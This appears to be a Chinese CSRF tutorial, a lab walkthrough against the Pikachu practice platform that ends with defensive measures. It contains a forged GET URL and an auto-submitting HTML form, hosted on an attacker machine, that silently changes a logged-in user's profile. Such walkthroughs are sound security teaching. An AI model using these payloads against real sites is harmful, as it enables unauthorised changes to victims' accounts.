概述
CSRF 是 Cross Site Request Forgery 的 簡稱,中文名為跨域請求偽造
在CSRF的攻擊場景中,攻擊者會偽造一個請求(一般是一個鏈接)
然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,這個攻擊也就完成了
所以CSRF攻擊也被稱為“one click”攻擊
攻擊場景例子

lucy想要在購物網站上修改購物地址,這個操作是lucy通過瀏覽器向后端發送了請求。這個請求里面包含了lucy的新有貨地址,如果是通過GET提交的,那么會以URL傳參的方式的方式將新的地址提交給后台,類似上圖中的URL,相當於點了鏈接就能修改個人信息。
如果這時候攻擊者想要修改lucy的信息怎么辦?那么他需要取得lucy的賬號,獲得登錄權限。這時候他可以將修改個人信息的請求偽造一下,構造類似下圖中的URL,引誘lucy在登錄狀態下進行點擊,這樣攻擊就成功了。

CSRF攻擊需要條件
① 目標網站沒有對修改個人信息修改的請求進行防CSRF處理,導致該請求容易被偽造
因此,判斷一個網站有沒有CSRF漏洞,其實就是判斷對關鍵信息(密碼等)的操作(增刪改)是否容易被偽造
② lucy點擊偽造的請求鏈接時有登錄狀態(已經登陸了目標網站),如果lucy沒有登錄,那么即便lucy點擊了鏈接也沒有作用
CSRF和XSS的區別
我們利用XSS可以達到盜取用戶Cookie的目的,那么CSRF的區別在哪?
- CSRF是借助用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限。目標構造修改個人信息的鏈接,利用lucy在登錄狀態下點擊此鏈接達到修改信息的目的。
- XSS直接盜取了用戶的權限,然后實施破壞。攻擊者利用XSS盜取了目標的Cookie,登錄lucy的后台,再修改相關信息。
如何確認一個目標站點是否有CSRF漏洞
對目標站點增刪改查的地方進行標記,並觀察邏輯,判斷請求是否可以偽造。
- 比如修改管理員賬號時,不需要驗證舊密碼
- 比如修改敏感信息不需要token驗證
確認憑證的有效期
- 雖然退出或關閉了覽器,但Cookie仍然有效,或者Session沒有及時過期,導致CSRF攻擊變得簡單
CSRF(get)
我們看一下Pikachu平台中CSRF(get)這個場景的使用,我們登錄一下,賬號有vince/allen/kobe/grady/kevin/lucy/lili,密碼全部是123456
登錄成功后可以來到個人中心,可以在這修改個人信息

我們嘗試修改一下個人信息並提交,同時利用BurpSuite抓包查看修改個人信息的請求內容,我們改一下地址

從提交的請求來看,后台沒做CSRF token,同時也是通過GET請求來提交修改信息,我們拿到這個,修改一下,然后讓lucy點擊就好,我們構造的URL中把地址add改為hacker。lucy一點擊就修改了地址。
192.168.171.133/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=12345678922&add=hacker&email=lucy%40pikachu.com&submit=submit
GET請求修改個人信息,所有的參數都在URL中體現,這種方式使比較好利用的,我們只要能夠偽造出來這個鏈接,把對應的參數內容修改成為我們需要的值,讓帶有登錄態的用戶去點擊就完成了我們的攻擊。
CSRF(post)
如果是POST型的,所有參數在請求體中提交,我們不能通過偽造URL的方式進行攻擊

這里的攻擊方式跟XSS中POST類型是一樣的,攻擊者可以搭建一個站點,在站點上做一個表單,誘導lucy點擊這個鏈接,當用戶點擊時,就會自動向存在CSRF的服務器提交POST請求修改個人信息。
攻擊者:192.168.171.129
漏洞服務器:192.168.171.133
編寫一個post.html頁面,代碼如下所示,本文把此頁面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后啟動 apache 服務
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="12345678922" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="lucy@pikachu.com" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
下面把頁面的URL發送給受害者,只要受害者一點擊這個鏈接,就會自動往服務器發送POST請求,修改地址信息
http://192.168.171.129/pikachu/doge_csrf/post.html
CSRF(token)
CSRF的主要問題是敏感操作容易被偽造,我們可以加入Token讓請求不容易被偽造
- 每次請求,都增加一個隨機碼(需要夠隨機,不容易被偽造),后台每次對這個隨機碼進行驗證
我們進入Pikachu平台的CSRF(token)頁面並登錄,我們可以看一下這個GET請求

跟前面比較,這里多了一個Token,如果后台對提交的Token進行了驗證,由於Token是隨機的,我們就無法偽造URL了。
防護措施
- 增加Token驗證(常用做法)
- 對關鍵操作增加Token參數,token必須隨機,每次都不一樣
- 關於安全的會話管理(避免會話被利用)
- 不要在客戶端保存敏感信息(比如身份驗證信息)
- 退出、關閉瀏覽器時的會話過期機制
- 設置會話過機制,比如15分鍾無操作,則自動登錄超時
- 訪問控制安全管理
- 敏感信息的修改時需要身份進行二次認證,比如修改賬號密碼,需要判斷舊密碼
- 敏感信息的修改使用POST,而不是GET
- 通過HTTP頭部中的REFERER來限制原頁面
- 增加驗證碼
- 一般在登錄(防暴力破解),也可以用在其他重要信息操作的表單中(需要考慮可用性)
